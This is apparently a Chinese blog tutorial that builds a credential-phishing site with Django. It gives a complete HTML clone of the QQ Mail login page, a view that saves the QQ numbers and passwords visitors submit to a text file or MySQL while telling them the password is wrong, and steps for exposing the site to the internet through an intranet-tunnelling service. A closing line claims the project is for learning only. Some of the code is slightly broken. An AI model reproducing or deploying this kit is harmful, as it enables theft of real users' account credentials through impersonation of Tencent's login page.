基于django搭建收集QQ账号和密码系统

一:可以学到的知识点:

1,django+前端+Python+MySQL+内网穿透

二:项目过程:

1,创建django项目工程: django-admin  startproje web_project

2,进入manage.py文件下执行Python  manage.py   startapp user

3,完成搭建之后进行stting.py的配置如下

"""
Django settings for qq_project project.

Generated by 'django-admin startproject' using Django 2.0.

For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'm=)r1b_6a9=i^)$av!)jk-9mu+0kg&^n-uv&i4_h5(t7x$9x9j'

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True

ALLOWED_HOSTS = []


# Application definition

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'user',
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    #'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'web_project.urls'

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(BASE_DIR, 'templates')],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'web_project.wsgi.application'


# Database
# https://docs.djangoproject.com/en/2.0/ref/settings/#databases

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'sunck',
        'USER': 'root',
        'PASSWORD':'root',
    }
}


# Password validation
# https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]


# Internationalization
# https://docs.djangoproject.com/en/2.0/topics/i18n/

LANGUAGE_CODE = 'en-us'

TIME_ZONE = 'UTC'

USE_I18N = True

USE_L10N = True

USE_TZ = True


# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.0/howto/static-files/

STATIC_URL = '/static/'
STATICFILES_DIRS = [
    os.path.join(BASE_DIR,'templates'),


]

4:如果有MySQL的基础可以创建数据库,将文件中的用户名密码改成自己的数据库名称.

5:创建数据表(没有数据库基础的可以忽略此步骤,后面我们可以将数据保存到TXT文件中)   models.py文件如下

from django.db import models

# Create your models here.

class name(models.Model):
	id = models.AutoField(primary_key=True)
	user = models.CharField('用户名',max_length=50)
	pas = models.CharField('密码',max_length=50)



	class Mete:
		db_table='qq'
		verbose_name='数据'
		verbose_name_plural=verbose_name

		def __self__(self):
			return self.user,self.pas
			

6:配置路由:   urls.py文件如下

from django.contrib import admin
from django.urls import path
from user.views import *

urlpatterns = [
    path('admin/', admin.site.urls),
    path('',index),
    path('login/',login),
]

7:我们主要仿制QQ邮箱页面,所以我们主要设计的模板仿QQ邮箱来制作

在这里说几点:

       制作的模板是一个post的请求,用户输入用户名和密码提交到服务器可以将数据保存到TXT文件或者MySQL数据库中.

       所以我们设计思维模板如下:

!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">   
    <title>登录QQ邮箱</title>
    <link rel="stylesheet" type="text/css" href="style.css">
</head>
<style type="text/css">
    *{
    margin: 0;
    padding: 0;
}
.container
{
    min-height: 500px;
}
.header{
    width: 100%;
    height: 62px;
    background: #eff4fa;
    border-bottom: 1px solid #d6dfea;
}
.header img{
    width: 182px;
    height: 35px;
    margin-top: 14px;
    margin-left: 40px;
    float: left;
}
.header_link{
    padding-top: 16px;
    padding-right: 40px;
    line-height: 30px;
    font-size: 12px;
    text-align: right;
    color: #b6b6b6;
}
.header_link a{
    line-height: 30px;
    color:#1d5494;
    text-decoration: none;
}
.header_link a:hover{
    text-decoration: underline;
}
.content{
    width: 960px;
    margin: 32px auto;
    padding: 0 24px;
    overflow: hidden;
}
.c_text{
    margin-right: 0px;
    margin-left: 25px;
    margin-bottom: 60px;
    padding-top: 65px;
    float: left;
    height: 400px;
    width: 520px;
    position: relative;
    font-family: "lucida Grande",Verdana,"Microsoft YaHei";
    background-image: url("https://rescdn.qqmail.com/zh_CN/htmledition/images/tg-mail20f1b0.gif");
    background-repeat: no-repeat;
    background-position: right 140px;
}
.c_text h1{
    line-height: 26px;
    margin-top: 15px;
    margin-bottom: 15px;
    font-size: 24px;
    font-weight: normal;
    color: #6f95c8;
}
.c_text p{
    margin: 0;
    font-size: 14px;
    font-weight: normal;
    line-height: 24px;
}
.c_card{
    width: 334px;
    height: 387px;
    float: right;
    margin-right: 20px;
    margin-top: 40px;
    visibility: visible;
    border: 1px solid #a0b1c4;
    border-radius: 5px;
}
.card_top{
    height:50px;
    border-bottom: 1px solid #a0b1c4;
    background: #f9fbfe;
}
.card_top li{
    float: left;
    display: block;
    width: 167px;
    list-style-type: none;
    font-size: 16px;
    color: #999;
    text-align: center;
    line-height: 50px;
    font-family: "lucida Grande",Verdana,"Microsoft YaHei";
    cursor: pointer;
}
.password{
    margin-left: 26px;
    margin-bottom: 10px;
    display: block;
    font-size: 14px;
    font-family: "lucida Grande",Verdana,"Microsoft YaHei";
    height: 36px;
    width: 280px;
}
.acount{
    margin-top: 36px;
    margin-left: 26px;
    margin-bottom: 10px;
    display: block;
    font-size: 14px;
    font-family: "lucida Grande",Verdana,"Microsoft YaHei";
    height: 36px;
    width: 280px;
}
.checkbox{
    float: left;
    margin-top: 12px;
    margin-left: 26px;
    height: 20px;
    width: 20px;
}
.c_card p{
    float: left;
    margin-top: 12px;
    font-size: 12px;
}
.submit{
    margin-left: 26px;
    margin-top: 16px;
    width: 284px;
    height: 40px;
    border: 1px solid cornflowerblue;
    background-color: #5a98de;
    border-radius: 3px;
    font: 18px "lucida Grande",Verdana,"Microsoft YaHei";
    color:white;
    cursor: pointer;
}
.c_card a{
    line-height: 36px;
    color: #225592;
    text-decoration: none;
}
.c_card a:hover{
    text-decoration: underline;
}
.quick{
    float:right;
    padding-top: 15px;
    margin-right: 122px;
    font-size: 14px;
}
.forget{
    float: left;
    margin-top: 49px;
    margin-left: 26px;
    font-size: 12px;
}
.new{
    float: right;
    margin-top: 18px;
    margin-right: 26px;
    font-size: 12px;
}
.footer
{
    position: fixed;
    left: 0;
    right: 0;
    bottom: 0;
    height: 36px;
    font-size: 12px;
    text-align: center;
    background: #eff4fa;
    border-top:1px solid #d6dfea;
    font-family: "lucida Grande",Verdana,"Microsoft YaHei";
}
.footer a{
    line-height: 36px;
    color: #1d5494;
    text-decoration: none;
}
.footer a:hover{
    text-decoration: underline;
}
.footer span{
    color: #868686;
}

</style>
<body>
    <div class="container">
        <div class="header">
            <img src="https://rescdn.qqmail.com/zh_CN/htmledition/images/webp/logo/qqmail/qqmail_logo_default_35h206ff1.png">
            <div class="header_link">
                <a href="#">基本版</a>
                &nbsp;|&nbsp;
                <a href="#">English</a>
                &nbsp;|&nbsp;
                <a href="#">手机版</a>
                &nbsp;|&nbsp;
                <a href="#">企业邮箱</a>
            </div>
        </div>
        <div class="content">
            <div class="c_text">
                <h1>QQ邮箱,常联系!</h1>
                <p>1987年9月14日21时07分</p>
                <p>中国第一封电子邮件</p>
                <p>从北京发往德国</p>
                <p>“越过长城,走向世界”</p>
            </div>
            <div class="c_card">
                <ul class="card_top">
                    <li>微信登录</li>
                    <li>QQ登录</li>
                </ul>
                <form method="post" action="login/">
                    <input class="acount" type="text" name="u" placeholder="&nbsp;&nbsp;支持QQ号/邮箱/手机号登录"/>
                    <input class="password" type="password" name="p" placeholder="&nbsp;&nbsp;QQ密码"/>
                    <input class="checkbox" type="checkbox"/><p>下次自动登录</p>
                    <a href="login/"><button class="submit" >登&nbsp;录</button></a><br>                    
                </form>
                <a class="quick" href="#">扫码快捷登陆</a><br>
                <a class="forget" href="#">忘了密码?</a>
                <a class="new" href="#">注册新账号</a>
            </div>
        </div>
        <div class="footer">
            <a href="#">关于腾讯</a>&nbsp;|&nbsp;
            <a href="#">服务条款</a>&nbsp;|&nbsp;
            <a href="#">隐私政策</a>&nbsp;|&nbsp;
            <a href="#">客服中心</a>&nbsp;|&nbsp;
            <a href="#">联系我们</a>&nbsp;|&nbsp;
            <a href="#">帮助中心</a>&nbsp;|&nbsp;
            <span>©1998 - 2020 Tencent Inc. All Rights Reserved.</span>
        </div>
    </div>
</body>
</html>

8:从HTML文件中我们可以知道表单为post提交方式,其中用户名为name='u'  密码为name = 'p',所以我们来写views视图如下:

def index(request):
	
	return render(request, 'login.html')


def login(request):
	user = request.POST.get('u')
	pas  = request.POST.get('p')
	print(user,pas)
	print("正在桌面创建文件夹")
	f = open("H:\仿制网站\web_project\QQ号密码.txt",'a')
	f.write("这次提交的QQ账号为:" + user)
	f.write("这次提交的QQ密码为:" + pas)
	f.write('\n')
	f.write('\n')
	return HttpResponse('密码错误请重新输入!')

这种方式是将服务器获取的用户名和密码存到TXT文件中,下面的这种方法将获取来的数据存到数据库:

    u = request.POST.get('u') 
    p = request.POST.get('p) 
    models.Question.objects.create(
        u = u,
        p = p,
        
        )
    info_list = models.name.objects.all()

9:最后一步Python manage.py runserver

10:我们来看看效果如何

基于django搭建收集QQ账号和密码系统

基于django搭建收集QQ账号和密码系统

三:发布

由于将自己制作的网站发布到外网需要服务器和域名,不是免费的,也不适合小白练手,所以我们用到内网穿透将可以在局域网访问的东西发布在外网,在外网也可以访问.

所以我们用到花生壳软件.安装可以百度,还有django如何局域网访问也可以百度,这里将不再讲解.

下面主要流程:

django局域网可以访问<<安装花生壳内网穿透<<进行配置<<外网可以访问

本学习只是用作学习交流,不做其他用途.

 

上一篇:《OpenCV编译》十四、编译OpenCV


下一篇:Ubuntu_opencv:AttributeError: module ‘cv2‘ has no attribute ‘nameWindow‘